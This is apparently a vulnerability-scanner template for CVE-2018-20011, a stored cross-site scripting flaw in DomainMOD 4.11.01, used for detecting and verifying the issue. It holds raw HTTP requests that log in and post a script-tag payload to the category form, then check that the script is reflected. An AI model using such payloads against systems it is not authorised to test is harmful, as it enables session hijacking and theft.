CVE-2018-20011: DomainMOD 4.11.01 - Cross-Site Scripting

2025-08-01 DomainMOD PoC Public

Description

DomainMOD through version 4.11.01 is vulnerable to cross-site scripting via the /assets/add/category.php CatagoryName and StakeHolder parameters.

PoC

id: CVE-2018-20011

info:
  name: DomainMOD 4.11.01 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    DomainMOD through version 4.11.01 is vulnerable to cross-site scripting via the /assets/add/category.php CatagoryName and StakeHolder parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/46374/
    - https://github.com/domainmod/domainmod/issues/88
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20011
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2018-20011
    cwe-id: CWE-79
    epss-score: 0.04428
    epss-percentile: 0.90869
    cpe: cpe:2.3:a:domainmod:domainmod:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: domainmod
    product: domainmod
  tags: cve2018,cve,domainmod,xss,authenticated,edb,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        new_username={{username}}&new_password={{password}}
      - |
        POST /assets/add/category.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        new_category=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_stakeholder=&new_notes=
      - |
        GET /assets/categories.php HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(header_3, "text/html")'
          - 'contains(body_3, "><script>alert(document.domain)</script></a>")'
        condition: and
# digest: 4a0a00473045022100b884271cbde9af845b6cd9bcc78cbda70db5bd9f8265e177581689af3954e33f02202874e78af658a4a76eee5e8c9249e62eaf2508392ff79d115483c41a1f67000f:922c64590222798bb761d5b6d8e72950

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